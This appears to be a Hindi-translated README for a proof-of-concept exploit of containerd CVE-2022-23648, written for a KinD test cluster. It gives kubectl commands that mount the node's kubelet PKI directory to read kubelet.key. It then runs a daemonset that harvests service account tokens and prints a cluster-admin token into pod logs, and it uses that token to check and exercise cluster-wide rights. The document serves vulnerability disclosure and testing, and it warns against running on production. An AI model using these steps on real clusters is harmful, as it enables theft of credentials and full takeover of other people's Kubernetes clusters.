
CVE-2022-23648 के लिए POC
यह @_fel1x के CVE-2022-23648 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है। प्रकटीकरण जानकारी यहाँ, CVE जानकारी यहाँ और कुछ अधिक जानकारी तथा शमन विचारों वाला एक ब्लॉग यहाँ है। Containerfile में आवश्यक जानकारी है, और आप विभिन्न पथ आज़माने के लिए VOLUME के लक्ष्य को बदल सकते हैं।
इसे काम करते दिखाने का सबसे आसान तरीका KinD का उपयोग करना है, जिसमें शोषण योग्य इमेज हैं।
जब तक /var/lib/kubelet/pki में नोड पर किसी तरह बहुत सारा डेटा न हो, यह एक सुरक्षित परीक्षण होना चाहिए।
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/और यदि आपको kubelet.key सहित फ़ाइलें वापस मिलें, तो यह काम कर गया :)
नोट: इसे प्रोडक्शन क्लस्टर पर आज़माने का प्रयास न करें। एक भेद्य Containerd इस हमले वाले पॉड में बहुत सारा डेटा डुप्लिकेट कर सकता है और डिस्क स्थान समाप्त कर सकता है। साथ ही, यह cluster-admin SA टोकन को पॉड लॉग में प्रिंट करेगा, जिनके सादे पाठ में लॉगिंग गंतव्य पर भेजे जाने की संभावना है
यह एक डेमनसेट चलाएगा जो नोड पर सभी Kubernetes सेवा खाता टोकनों को सूचीबद्ध करने का प्रयास करता है और यदि यह cluster-admin टोकन पाया जाता है तो इसे पॉड के लॉग में प्रिंट करता है।
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -Aयदि yes प्रिंट होता है, बधाई हो, आपके पास एक अल्पकालिक cluster-admin सेवा खाता टोकन है, चलाएँ:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d यह देखने के लिए कि यह कौन सा SA है
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list